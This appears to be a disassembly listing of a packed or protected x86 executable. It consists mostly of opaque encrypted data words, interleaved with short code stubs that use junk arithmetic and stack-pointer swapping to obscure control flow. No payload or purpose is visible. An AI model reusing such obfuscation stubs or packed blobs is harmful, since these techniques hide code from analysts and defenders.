		dd 1E38BFEFh, 0F1B316CCh, 0EA75B3E4h, 0C116CC1Dh, 0A950B8E3h
		dd 8CA856F6h, 0DFh, 21A6E7F7h, 232936F6h, 0F01BA8DDh, 0CAF5CCB8h
		dd 0F642D08Ch, 0D116931Ch, 2652038h, 30B7F2C2h,	527D2F31h
		dd 0C807F4A9h, 0E8FC4BD4h, 0F4E9239h, 1E680453h, 7DC2CF81h
		dd 1FEE6567h, 30AB9F23h, 43AADB1Eh, 72E09DC1h, 15C7D516h
		dd 9F38FA08h, 39786716h, 0F8F4F023h, 0C201C31Ch, 0C2EDF0B2h
		dd 0A0B0F502h, 2C44DDE4h, 0BCC36978h, 0B463876Ch, 0CAF927Bh
		dd 4D430000h, 0D6C9E17Ah, 51506801h, 0AAD9F18Ah, 20647C15h
		dd 3E2508A1h, 26BF0682h, 0AE479E0Eh, 38D11496h,	0C55E6520h
		dd 941B31DEh, 0F16C6B7h, 0A9DD8515h, 0ABE7DB1Ah, 4759E8DCh
		dd 0FFB7EEEEh, 8F9E5CF1h, 77A22165h, 0DE0BAAB7h, 0AF1086EAh
		dd 0BDDEBFCh, 2F5A84C9h, 2E5B8B98h, 0C3D30099h,	0A09AA1C2h
		dd 9F7FAC31h, 0C8DAE0EDh, 0C8F3CAB8h, 9FCA1190h, 0F0202DDFh
		dd 0A905D2B5h, 54785B1Eh, 4A3F77A2h, 225BE47Dh,	22687EBDh
		dd 0E4231FDFh, 51473CF0h, 0F51FF6ACh, 14222FB4h, 5EE92752h
		dd 3516CC20h, 0A2C74457h, 9FCA1D92h, 2028AFDFh,	85A316CCh
		dd 0A63D0A46h, 0CDF7A94Eh, 1EDE09DEh, 0B020C911h, 9BABA856h
		dd 0EEAED9EEh, 7F6E1h, 2CA00000h, 847h,	0CA316CBEh, 4D83758Bh
		dd 789D2320h, 0CC2DDB62h, 86945616h, 7D46644Dh,	5765722Ch
		dd 2E596E1Dh, 4491BC6Eh, 2E137634h, 0C1DAC582h,	78386315h
		dd 794E3B6Bh, 7E8EB3E0h, 48BBB0Ah, 7F16CC21h, 580B0BDh
		dd 8F37362h, 0D1833962h, 0D0768A6h, 1C5A7E10h, 51678C7Fh
		dd 0AF87C6CAh, 46768345h, 0BEEB8443h, 7E8DFCAEh, 0E96F1527h
		dd 0C383AE60h, 0C5D2E999h, 0A8D31095h, 8810E06Ah, 0AFECE0AFh
		dd 16AF3471h, 17ACD9E9h, 0EF1F2CECh, 0C4022DBAh, 0AF881136h
		dd 0D54B5034h, 627A13D0h, 0CC75A027h, 0D5EB2A91h, 0B5B24573h
		dd 3D2E5D6Dh, 920D2566h, 9EAB5DDDh, 6A8FCE90h, 5E09CD54h
		dd 798648A9h, 0D547ABDAh, 21656AE1h, 0D0DD28CAh, 52917E2Fh
		dd 0D590172Dh, 490BA95Dh, 1FE1F73Ch, 0D9AF87FEh, 0DB06DDC9h
		dd 0C6000E1Bh, 17D702C5h, 0CF322665h, 1305A404h, 28DAED9Eh
		dd 54790E1Bh, 33D2B73Eh, 637032A3h, 44B3952Dh, 1EE9F81h
		dd 76F1B2C2h, 0D1FCAE39h, 0A9BF0411h, 0CB4D11A3h, 862F5A1Ch
		dd 0E1258CD7h, 5A20556Ah, 265969A8h, 99A66691h,	0F40A2F54h
		dd 0BEF8EC6Dh, 4FBA3AE2h, 0B4BCC4B3h, 0CDAFE5F2h, 0FEC525C1h
		dd 0BEEDFD3Ch, 0C7D71C29h, 0DB6278C2h, 34B8CABDh, 0A86A7271h
		dd 20305DF6h, 72325D64h, 73703565h, 0B2A6DCCDh,	8E77B00Bh
		dd 0A65h, 973087F9h, 1EB7007Fh,	0A7408706h, 32CB1C8Fh
		dd 0BE576E1Ah, 483CF4DBh, 0D8C8E079h, 52506801h, 0AFDAF28Bh
		dd 0EB987F18h, 0C6B64ED5h, 3FCFC916h, 751BA8DDh, 6FDE268Ah
		dd 26D8C1FAh, 0BA00000Ah, 4058F1C4h, 0C7DF784Fh, 506801C6h
		dd 0DBF38C53h, 9C7F18AFh, 388FFBB5h, 0C007879Fh, 4A9D0F27h
		dd 0D7EC99B1h, 94AA573Eh, 16C6B50Dh, 0DDFE8E88h, 0B7DC1BA8h
		dd 0F63E1AA1h, 0C6D3951Ch, 9A295D95h, 0A020D201h, 9ABFFEEDh
		dd 0F63DFD84h, 0A9B6781Ch, 658C4E64h, 0BB7D2320h, 0E4FA1FB4h
		dd 16CC165Dh, 0E9F1F4B6h, 0C1ECFBAFh, 0DF414F01h, 6A90B40Eh
		dd 0C086BCC9h, 82D8890Dh, 0E03BB38Eh, 0BBC8D8D7h, 3D7C631Ah
		dd 56DDF318h, 0D1550E48h, 0C6CC020Fh, 3F5B3867h, 0F505527Dh
		dd 44042FB4h, 0F8E79637h, 0CEA094B9h, 0E4583ECh, 75578D9Ah
		dd 0A6551159h, 5B80A5E4h, 0B655BE45h, 0D4EA3948h, 48B6564Dh
		dd 475406C8h, 8EF99217h, 0BB5AE505h, 5464A355h,	67EE0450h
		dd 0E248B6E3h, 27436E20h, 54A190E2h, 889547D1h,	97D4D1E9h
		dd 0AB324812h, 2648B6F8h, 0D6A4B264h, 6AD36B54h, 977C22D4h
		dd 0EB9B9E9Ch, 91FC9B2h, 0FDB30000h, 463951EAh,	0C1C0D871h
		dd 5A4961FAh, 0D0D4EC85h, 0AE957811h, 962FB6F2h, 1EB70E7Eh
		dd 0A8418406h, 35CE1590h, 48BA14Eh, 7F16C6B4h, 0A8DDF585h
		dd 7EA3F01Bh, 0F63DE168h, 8D9A5C1Ch, 0FF982F5Dh, 0F63EBAE1h
		dd 712E3E1Ch, 85B85966h, 28DAED9Eh, 0C17BD3E9h,	3C612325h
		dd 0C6BA9F26h, 4B581A16h, 2C3C7B3Dh, 1B2B6A79h,	0AC4B586Fh
		dd 0A7D21194h, 81AC3B6Fh, 60672434h, 5E612353h,	0AEA359B8h
		dd 7F68A169h, 895h, 0C7607729h,	4EE7F0AFh, 0D7707736h
		dd 62FBCCBFh, 0EE875E4Ah, 386C240Bh, 88F810A9h,	2809831h
		dd 9F0A22BBh, 1BC8AF48h, 0C6B47E05h, 6FFFF916h,	0F01BA8DDh
		dd 0B7F6CDB8h, 0D5E2E5A7h, 0AA396CA4h, 8146477Fh, 67341256h
		dd 4B5BA831h, 907C895Eh, 5390150Bh, 0D6638ABAh,	0A4C6AE7Ch
		dd 70000004h, 5752316Ch, 782D6590h, 0CE80406Bh,	0A8B8DD1Ch
		dd 0A93C6EFDh, 0FF0CBE7Eh, 25C171C9h, 8DCC8E23h, 22BB087Dh
		dd 0CEF91A99h, 33275490h, 0ECAF8D90h, 0E73DF51Ch, 2D58D1h
		dd 6C020000h, 778DCCCFh, 1CF63DF0h, 407EA96Bh, 3D5D9FF9h
		dd 0D7316A48h, 8E1BB12Eh, 0E13h, 3B6E7E00h, 0B4C181ACh
		dd 1A42CAEh, 6CBE0000h,	7D8DCCCFh, 0CD8DB80Fh, 3DF1788Eh
		dd 0AA6C1CF6h, 0F22E6C9Dh, 2B9662A9h, 13BA4E4Dh, 0F6D710BBh
		dd 27h,	0CCCF6CA0h, 0AA0863A1h,	487F9662h, 47724938h, 97499E0Fh
		dd 0BFD9E8Ah, 0D710BEE2h, 7B47h, 0E2A2B200h
		dd 6CC8CEDBh, 0A2293FCFh, 1D1CF63Dh, 6F74315Bh,	0E1687EBDh
		dd 5C1CF63Dh, 0E70BF79Ah, 0EFAC822Bh, 5AE1F71Ch, 0D51CF5FBh
		dd 17BE0613h, 0FAAE7C91h, 44h, 0CCCF6CA4h, 8674688Dh, 6458DBD2h
		dd 473D414Fh, 60FE6FD2h, 28981D53h, 4D0F1CF6h, 226789B0h
		dd 845B4B5Bh, 0A08C9959h, 0C7E40DFBh, 1149AE7Ch, 0F3000000h
		dd 0ED2Ch, 3E6F7F00h, 46467EA9h, 0BAC0CD7Fh, 68DA3C8h
		dd 811CF63Eh, 0B3D1B2BFh, 24000000h, 0BCB02730h, 0CB31655Ch
		dd 0F3EEFCFDh, 0E9EFFC8Ch, 0A1CCCF6Ch, 46813363h, 25765472h
		dd 2C913AE3h, 681FFBh, 6CC90000h, 7D8DCCCFh, 66ABB80Fh
		dd 0F63DC950h, 5782441Ch, 0BB8AFA0Ah, 0ECEF9CEh, 0AE194F5Ch
		dd 453D166Ah, 2DD43467h, 108E5CF8h, 2Ah, 54CF6CBAh, 9CDB8D54h
		dd 0F63DFF86h, 79B87A1Ch, 78A33869h, 3C7AABB8h,	8A166AD1h
		dd 0F7118A68h, 0C35CFFCEh, 1133h, 0B8C8DD00h, 8C8F3CAh
		dd 0F1CABDEh, 452Eh, 0A8DDC000h, 0CE8DC1Bh, 0FC194128h
		dd 0CE0C3D4Ah, 1CF62344h, 0B9524907h, 0D8E5FAA9h, 316EFDA8h
		dd 9BB7BA6h, 0CF6C8270h, 0A3082FCCh, 6DADEE5Ch,	1CF64B20h
		dd 0DF933B7Dh, 4578AE7Ch, 22FFFFFFh, 29A2Ch, 0B8C8BE00h
		dd 0C64D63C7h, 411CF63Dh, 0E2A2CD7Fh, 87E0A5D5h, 0F1DA8AB9h
		dd 544F697h, 833B0F5h, 8A6DC5ECh, 6A1C5BCBh, 0CFDF2C5Dh
		dd 1EDE09DEh, 0C3A4E111h, 8405E46Ah, 2CBB313Fh,	33F6E50h
		dd 24D63001h, 61233372h, 6673335Eh, 0A00F3EC7h,	8D114B61h
		dd 0C7BB231Fh, 60722791h, 3A485572h, 840F4D78h,	5B16CB98h
		dd 0F9ED1E7Dh, 31DF6F88h, 69B1BE73h, 0A8564040h, 3EA5h
		dd 0D4C84F00h, 534C1CCBh, 8B995984h, 404D269Ah,	0C201EE9Fh
		dd 200AAAACh, 2E591B23h, 0CBB665F0h, 3D5E3C16h,	2230DACEh
		dd 0B1C49A59h, 75834450h, 0E8F58CFAh, 563C79A0h, 0A2DCA8h
		dd 0DD860000h, 0A3F01BA8h, 8F3CC4AFh, 3AFC9497h, 0CEA5B395h
		dd 0A4D4E14Eh, 7EB6E1E0h, 4491BC0Bh, 416C7B34h,	41447481h
		dd 97BCE982h, 0D5E53EA3h, 2E5E5D6Dh, 1CF5C9A7h,	1D536022h
		dd 1CF5CE61h, 0C9626124h, 5F9E0D40h, 227D9449h,	6AA96B23h
		dd 0FE972E5Ah, 8096A2E6h, 16C90BF9h, 5A00B274h,	69B0F411h
		dd 0AD7C0F9h, 9E000005h, 243CD5E0h, 0ABC35C6Bh,	344CE5FAh
		dd 0BFD77077h, 8063FCCBh, 1CABDF99h, 0A43B6B83h, 2EB1F30Bh
		dd 0BB087D95h, 788E3B22h, 16C6AFF1h, 0DDE2726Ch, 69811AA9h
		dd 200EA73Ch, 0F3CAB8C8h, 98F3B6E6h, 0E993CF4h,	244F01A1h
		dd 0C7C7D7h, 0D80815D5h, 0F47D16ADh, 17AEDAB9h,	0BE322665h
		dd 0E61A5335h, 253B808Dh, 232061C3h, 0E3F332F4h, 0BEF621A6h
		dd 3B48FACDh, 0F943CC0Ah, 4D4116CBh, 0BF2C614Eh, 2D086A80h
		dd 77391CF6h, 0E5A1B1DEh, 0C4B43B51h, 6D2F10A1h, 0DF667CBBh
		dd 5A10A1C4h, 0B3EA8B98h, 0F4E80D4Ch, 936D2510h, 0D90F1C07h
		dd 16D0D281h, 9D24649Eh, 0ED9CACEBh, 9E1F3DD6h,	0EB0A71CBh
		dd 0C48D26B9h, 66h, 3E4CD756h, 33C1CF6h, 0A6E7FF98h, 0B9E4FBA9h
		dd 0F80847F9h, 0DCF23188h, 1CF63E55h, 0D0010ED0h, 0F63E0B92h
		dd 9D24641Ch, 0E8483A72h, 0F63E4BD2h, 5204C61Ch, 87FB0B27h
		dd 2AC63990h, 138516F4h, 1496A6DDh, 0C3D8C4D1h,	0FE972C5Dh
		dd 0F621A4E6h, 0F62E2EB8h, 3764C01Ch, 0E524BBE9h, 69E112F1h
		dd 313E59ADh, 0AFDDA492h, 0AED9E0A0h, 0C4113CEEh, 0C2EDF4B4h
		dd 12A9D802h, 0EA1A27E7h, 63FA25B8h, 54DBF116h,	0CF1CF63Eh
		dd 0A7D21195h, 3C2835E7h, 0FCC3C15Fh, 50B64563h, 55971CF6h
		dd 0AE7CC1ADh, 80284438h, 0DDCFC2E5h, 0FF53E5D0h, 0DD8FFFFFh
		dd 0B7DC1BA8h, 0F63E1AA1h, 2E5B951Ch, 0FCAE6E99h, 6171BEEFh
		dd 526E992Eh, 0A3A22589h, 0F502B492h, 6A03C0C5h, 3FACE1h
		dd 205EB0EAh, 0A4CF9123h, 0CC15DB66h, 764D3C16h, 4D92134Bh
		dd 0FE9D8122h, 9308E69Ah, 56FA4C75h, 42B1A8h, 6C5B0000h
		dd 31505231h, 0F2491DB2h, 9143F5C7h, 293A3C52h,	0E9AB2320h
		dd 0E86F85AAh, 6316CBD3h, 256394A1h, 16CBD39Ah,	3089371h
		dd 32EB1F3h, 5EB93543h,	0D9AFE456h, 315D84CCh, 0F6C0A856h
		dd 6A000000h, 0DC1BA8DDh, 0CB0AD9CCh, 0F63E2EB5h, 0DAE7A91Ch
		dd 6E685CA9h, 0A47D23A5h, 71356572h, 9A0F4772h,	0BFEA224Dh
		dd 0B5718F28h, 631CF554h, 7F8C5353h, 0F48D5A4Fh, 0DB1AA9DCh
		dd 0E625ADE7h, 0EFFC43E3h, 735815BEh, 81554034h, 0B077282Ah
		dd 0F59E139Ah, 1ACC8E1Ch, 28B2C80Dh, 0A9231FB8h, 6D83A8E7h
		dd 16CB83E6h, 54E63F5Bh, 4048AE57h, 49D2717Eh, 5268A714h
		dd 1CF83297h, 8579B87Ah, 887B7404h, 0ED323FECh,	0F2C9B8C8h
		dd 0F2F1B5E5h, 0F1454159h, 9F1654DBh, 0FF0DCF10h, 8BEBC188h
		dd 0C46A1C27h, 6386D781h, 564F3871h, 0EA000002h, 708821B4h
		dd 0F70FA83Fh, 809831B6h, 0B23BC03h, 0CCAF489Fh, 687F2BE5h
		dd 0F0F7B7CFh, 7A4D3F57h, 7DCC9E1h, 0C4DA876Eh,	16C6AE3Dh
		dd 0DD2EBEB8h, 0DEE1A2A9h, 0A841F3B3h, 8FCE1590h, 47420D7Fh
		dd 0E3955580h, 4CEBF8B8h, 0CA316C5Eh, 0B3047B8Bh, 76BBC888h
		dd 20685E60h, 5D739823h, 16CC12D6h, 3A508F51h, 16CC12B3h
		dd 515F6C2Eh, 152B508Fh, 16CC128Eh, 1DA4BA09h, 9816CC13h
		dd 721624D6h, 0D07D0FA7h, 0F6346572h, 16CC396Bh, 0D1376442h
		dd 0A856D328h, 9513BFB3h, 9BFDE600h, 4B09FA62h,	0DDEA9CEEh
		dd 0D1F2h, 0B8C89C00h, 5C5F0C7h, 8EDDC8F8h, 0D56D1Ch, 0DFD1EE7Ah
		dd 18507B2Dh, 0EC2A556Ch, 1CF54A30h, 0F231B6F3h, 0BA3DD9FEh
		dd 4A575116h, 591693ABh, 0B4DF9126h, 2E6D520Bh,	1FE78E18h
		dd 0D8C8D823h, 916D601h, 0D5FA39FBh, 0CBB438BFh, 0E4F1B316h
		dd 8D81BC45h, 0CBB3F077h, 81564916h, 0C605B779h, 0CC1391A1h
		dd 6C6F89BFh, 0D6101CF8h, 0E46B81D9h, 5F109EFBh, 0C0EB9Dh
		dd 8BFF0F4Eh, 1F8BA33Ch, 0E3E522C8h, 9CD56386h,	120B3h
		dd 0EBFAB400h, 72453A52h, 0FBC0C1D9h, 86594A62h, 12D1D5EDh
		dd 0F9AF9679h, 859D368Dh, 0D25BE05h, 97AF489Fh,	553CD512h
		dd 0AC0B92A8h, 8C8616C6h, 1AA9DDFCh, 0D38E7DBh,	0C053CF5Bh
		dd 0C7D41396h, 4E951028h, 0A3C8C7B5h, 0F63E068Dh, 0D5497B1Ch
		dd 0CE79D922h, 0C7F704C6h, 0A2DA05C2h, 0A13868E7h, 6177B676h
		dd 1CF5A4DAh, 48E19355h, 0E2218EBFh, 252870CCh,	94D39523h
		dd 32169DA0h, 0FD0A96D5h, 0D21194CCh, 8FFC0C39h, 8EFB2B38h
		dd 400F96ACh, 0C88A16C5h, 0B0DBEA9Eh, 0EFFF3EF0h, 0EF202DBAh
		dd 0E0677DA2h, 5B16C53Fh, 0BD445A99h, 3816C53Fh, 0A1336976h
		dd 5691080Fh, 0E89D8318h, 211542DBh, 3471CFF6h,	0B6C484AFh
		dd 34422F0Dh, 0B0B9C024h, 76A6B3FBh, 3C89B433h,	5D6A792Ch
		dd 3E697E2Dh, 0F1B3C3FAh, 0A6F5E1EEh, 8F545565h, 90575282h
		dd 0AC795D51h, 0F3CAFA16h, 7A2F47E6h, 850BEE11h, 0DBCF1D94h
		dd 6F21E10Ch, 3F6E7EBDh, 0CF17C24Ch, 9E50921Fh,	0A1AE3574h
		dd 38770h, 7C190000h, 14A3DD6Eh, 0EFF4B1E9h, 0C71E8CC4h
		dd 9D24649Ch, 774E3A72h, 5190144Ch, 2ABDEE26h, 1C6C7FFh
		dd 0D6E19ED6h, 8953EEABh, 4C381E3h, 50000000h, 4B8h, 58C32900h
		dd 5C241C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 5EE66891h
		or	edi, 2B070676h
		push	edi
		not	dword ptr [esp]
		pop	edi
		dec	edi
		shl	edi, 3
		add	edi, 56AFBECh
		mov	eax, edi
		pop	edi
		push	5977h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		sub	dword ptr [esp], 28696ADDh
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 28696ADDh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5606CE
; ---------------------------------------------------------------------------
		dd 77B5B91Ch, 0CF13FA13h, 1265CBCFh, 2F936EB8h,	0FFC50306h
		dd 117069E0h, 34A6722Dh, 3F4A0558h, 138D8D55h, 8B062F95h
		dd 958D89D9h, 6A062A33h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 5AE1C352h, 0CF81B736h
		dd 2AA0573Eh, 0BF985C7h, 6A60062Ah, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0DBAE84C3h
		dd 98CD51ACh, 0FE80A02h, 983h, 3820F00h, 0F000000h, 85C7D3B7h
		dd 62A06C5h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 78C35343h
		dd 59D88166h, 0DB5FF6Dh, 66062A2Dh, 0F2C71B8h, 281h, 0FF3AB300h
		dd 2A05C195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0BF377BAAh, 310A95ABh, 95FF006Ah
		dd 62A3439h, 6DEBC08Bh,	0F9D37EBBh, 35AE768Bh, 3C648C74h
		dd 0A1057717h, 5535E90Bh, 241D61C6h, 0C25EDC97h, 5A457ED5h
		dd 0C56F2C92h, 0B9B32A23h, 48E18992h, 0E9A78D09h, 924586C9h
		dd 0ED3E55BDh, 0F477007Bh, 85C76E91h, 0A7A677A2h, 326F23F8h
		dd 0C348CBB4h, 7B6F82B9h, 3DD11Ah, 0C3B78D99h, 0B0850DDEh
		dd 0A5CC6A15h, 0E9396BD6h, 0C25243Bh, 5CBA9A35h, 11E821h
		dd 82C50000h, 43D6D03h,	71E824A0h, 4F25F9A5h, 0E91F0093h
		dd 0Dh,	4CA1CC26h, 0DD10AB98h, 4F3B0AC7h, 0EE95BC9h, 0A4000000h
		dd 8B7C3F52h, 489FBB0Bh, 0D6305267h, 21C38148h,	0E9000066h
		dd 11h,	7D3CAA5Dh, 1E87F036h, 865EF87Ch, 0BA75CD5Ch, 0C6AEBE0Dh
		dd 0C68134C2h, 0CB3D52A0h, 8BC7B70Fh, 0C5806013h, 0CA8B66BDh
		dd 0DFF28161h, 0E92C9428h, 0Ah,	0A6B8759Bh, 8F378092h
		dd 0C281B6AAh, 1D39F086h, 0C281C38Ah, 2550803h,	0EE9h
		dd 2B649900h, 3710A5DEh, 0F0A9071Fh, 89293350h,	0EE96013h
		dd 95000000h, 0D644025Ah, 6C2E7C34h, 0E22247D3h, 61D18BE5h
		dd 0E902EB83h, 0Fh, 0E6126DF6h,	0A35ADC73h, 5A01A0C7h
		dd 4BE3A356h, 9589514Bh, 62A1545h, 1EE815Fh, 0F000000h
		dd 0FFFF7A85h, 0A9B531FFh, 0E9062A26h, 15h, 19DCE505h
		dd 4 dup(0)
		dd 4A4E900h, 47A10000h,	3EC37B15h, 25DE9630h, 0BFBB34Dh
		dd 0E91BD36Dh, 4B15F18Bh, 9D373DC7h, 0BC5620E5h, 0DD77E304h
		dd 0F993DD25h, 3005FA13h, 87289F13h, 0CB3722F2h, 0A163BBA5h
		dd 0B05624D3h, 2EC7D1C8h, 0DCD38760h, 5D0C649Eh, 7D7CB9AEh
		dd 0D843226Fh, 71A4FAF3h, 766D99CEh, 323EC41Ch,	0BF11F048h
		dd 70536BCAh, 0E90D4C22h, 1749B6C9h, 705A6B7Ch,	0E5BBAE50h
		dd 1B9531Dh, 22DA74E6h,	53AB95C5h, 56DAC4B2h, 7473493Ch
		dd 6E944CE6h, 0A1991802h, 2D226FF6h, 0A4261205h, 2CD2E786h
		dd 6Ch,	0E0BEB89Dh, 0FE97837h, 39DC602Ah, 0E9E01FABh, 0A5CB3791h
		dd 0F69D82BBh, 19ADC94Eh, 99A207FEh, 39226FF2h,	99671E11h
		dd 0C9210B6Dh, 2E253638h, 0E782F0DAh, 1E0D2h, 37180000h
		dd 62BAA4CAh, 0ACE5CF9Fh, 584F27DEh, 0A28CEC1Ah, 17EDE082h
		dd 343AC7EAh, 31D18923h, 1001A6Bh, 2131F48h, 0F8628553h
		dd 244CB60Eh, 40121C13h, 0BDA7CD37h, 3F349C65h,	226F7CF6h
		dd 634D5EC9h, 2D8CBD5h,	0C029E02h, 906DC77Fh, 0D52DE57Fh
		dd 0E61EEC9Bh, 0E53D978Eh, 96F971Eh, 83B30EF8h,	2A36A490h
		dd 56BAD2E7h, 0F2000000h, 0BDA7CD37h, 0EAD49E65h, 18027292h
		dd 452F43C0h, 8E27DCAAh, 5EF0078h, 351F59ADh, 6F62049Ah
		dd 2B1EC056h, 2BC5AF55h, 0F9E39173h, 291365A1h,	0BFAB9ECEh
		dd 0D2E7081Bh, 48D5h, 0CD370D00h, 8265BDA7h, 14A3EED8h
		dd 0CFB9A146h, 2A1D3D34h, 2AC4B054h, 0A4CA3758h, 7CFF3BBAh
		dd 0A8CF226Fh, 0E0554AF9h, 0D7226F7Ch, 7CBE776Ch, 9601226Fh
		dd 1E2BC9B1h, 8D8423D1h, 3C8E7A6Dh, 94D2E759h, 1, 0A6CC37CCh
		dd 349E64BCh, 0E3D8A066h, 226F7D52h, 2115FA65h,	86748EF8h
		dd 42C6B0C1h, 0A45F3528h, 2F8434CEh, 84237E6h, 0B9244561h
		dd 0F60C644Eh, 0DDF3F4A6h, 0D7BC9617h, 3DCC2267h, 0C963747Bh
		dd 957FF111h, 9A722516h, 5C4FDF28h, 5AF47C86h, 7D7260A2h
		dd 289A71B8h, 998394FFh, 4749260h, 3D33CF0Dh, 0C8BBC553h
		dd 0C66010F2h, 1202D2F8h, 121FED9h, 3F360000h, 43F2A1EAh
		dd 0EBE28C75h, 455A6486h, 8872DD24h, 20E1D230h,	0EBA33D4Eh
		dd 366F5917h, 0B1E63651h, 7A71854Ah, 0C0AAC63Ch, 0AA5B2932h
		dd 6BE70AF8h, 31419DBh,	23F9EC0Ch, 5EF791DFh, 0D37BBAAFh
		dd 33592899h, 0F9C10454h, 0FCF35E60h, 11A322A8h, 5DAED9h
		dd 3A1F0000h, 0ABC245F7h, 0A3FBF232h, 83B2A756h, 34226F7Dh
		dd 439CD2C9h, 0ED9C4BFAh, 6F7D3DF8h, 20178222h,	90841ABBh
		dd 0C372DD5Dh, 7E68F2F5h, 0AE98E026h, 0B10B0213h, 6F7C0332h
		dd 978A14A2h, 782770C9h, 9B4C1AC9h, 7C6BCABFh, 0E14CA26Fh
		dd 835085EAh, 7CE7DD90h, 6D36E2h, 3F740000h, 0FDF2A1EAh
		dd 244573A5h, 3D957FEAh, 5911ABC5h, 0A4DDC7A9h,	66069DBFh
		dd 0C9C09025h, 9A7B5C64h, 1CF5E28h, 0E9846E00h,	9DFD2F2h
		dd 2DDD77F9h, 0EBE08FD8h, 2A6BEA52h, 9699A68h, 1B8D841Fh
		dd 0BF8DC6B0h, 0AD483228h, 654F25DFh, 6D95D3CAh, 7B951903h
		dd 1C65BA88h, 718886Dh,	374507Dh, 45F8ED0Ch, 0A244605h
		dd 5633059Fh, 10FA7E88h, 0F3487E75h, 3706FBAAh,	0F82440EBh
		dd 648334D0h, 60710CF6h, 0F80DDB76h, 2B836D7Eh,	47FF99D7h
		dd 92CBB5BBh, 1347EEE3h, 2895289Fh, 0D6BB8773h,	1AFF6A6Ch
		dd 76657914h, 51B6AD6Dh, 43CB04EEh, 0D1887B1Dh,	75083D22h
		dd 0AA3C5DF7h, 4BD180B5h, 0D5CC373Ch, 6B056B97h, 37214FB3h
		dd 675127DFh, 9680F60Fh, 0C3ADC53Eh, 5C32253Fh,	4AE5CF8Bh
		dd 58263F39h, 77F909AAh, 5C4F6F66h, 5AF47C86h, 261060A2h
		dd 0ADAh, 0F2E1800h, 0C6B0C241h, 37DC342Bh, 69C1ABB1h
		dd 95EDD799h, 0C61E0852h, 0F54D373Fh, 237B650Fh, 51A993E1h
		dd 81D9C3B5h, 0AE06F082h, 16311B53h, 81E78957h,	4C7h, 4EF8300h
		dd 5C243C87h, 68243489h, 1BA2h,	53243489h, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 2E68241Ch, 89000074h, 96B9240Ch
		dd 89062F96h, 876859CEh, 89000035h, 4812424h, 424h, 0B9515B00h
		dd 8, 3189D901h, 83240C8Bh, 34FF04C4h, 0C4815B24h, 4
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dd 8FFF958Ch, 0B4B890E2h, 3062F9Ah, 0ACE0FFC5h,	7B224F24h
		dd 0A16ACFC6h, 0A15AF56Bh, 8F1339DDh, 745C6DF3h, 5E6E54F2h
		dd 6A06714Bh, 0C72B7AF9h, 0C11A88F0h, 693D3BEFh, 816180B5h
		dd 93644255h, 925E7A8Fh, 8D3FD680h, 2F9BF98Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0D5BD230Ah, 89062A1Fh, 2A33958Dh, 0F985C706h, 58062A0Bh
		dd 6A000072h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 50ABC355h, 0C585C7A4h,	62A06h
		dd 0B4000000h, 55B5FF03h, 29062A34h, 2A08A985h,	0C195FF06h
		dd 66062A05h, 6AD78Bh, 343995FFh, 0C08B062Ah, 61AE4EEBh
		dd 0A4C797F5h, 13FE9D60h, 0FA53B0B3h, 5F556453h, 0ADE5154Dh
		dd 0A44EB018h, 96F586F9h, 0B1013993h, 34269065h, 80B9A0Ch
		dd 0AE8E35E8h, 0AB95207Dh, 0B7C6C35Fh, 44B0EED2h, 8220D48Ch
		dd 9CF96A10h, 0A4533AB1h, 6F11992Ch, 0B6329110h, 0EAE9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0D1C77A8Ch, 0F9E2A7C0h, 0C0B58DF9h, 0E9062F9Ch
		dd 9, 0EEE48CF4h, 0FACF1892h, 0D8858D97h, 60062D57h, 10E9h
		dd 5535E900h, 241D61C6h, 0C25EDC97h, 5A457ED5h,	78BB6692h
		dd 0D0FF612Ah, 0B437B860h, 51BA361Bh, 616BD729h, 1820FC3h
		dd 0F9000000h, 60D98C66h, 4E6AD881h, 0FE8B7AAEh, 4C1F661h
		dd 46840Fh, 0E9FC0000h,	8, 1DBAE510h, 0F543E30Fh, 0CB8BFB8Bh
		dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh
		dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h
		dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 13E9CF00h, 0ED000000h
		dd 0ABD7DA8Bh, 0E86AA911h, 8D5C4687h, 0A4112CDCh, 0C7FCC83Ah
		dd 2F9CFC85h, 1013F06h,	60EB00h, 17h dup(0)
		dd 0E9000000h, 0B5Ch, 0B50E9h, 0A5606800h, 6FE9062Fh, 68FFFAE0h
		dd 62FA68Ah, 0FAE065E9h, 0A70D68FFh, 5BE9062Fh,	68FFFAE0h
		dd 8A42DC80h, 0A55DF777h, 0C27A145Eh, 0E29A3444h, 0DCB85222h
		dd 0FE768E12h, 1D59AC64h, 3E1CCB83h, 5A16ECA4h,	0CCC1DAC0h
		dd 289F1A69h, 37E9B94Eh, 37BEA8CEh, 4EB50401h, 0AEF53750h
		dd 0D5E61BCFh, 57393EBh, 0A16F801Bh, 69031446h,	351F51B1h
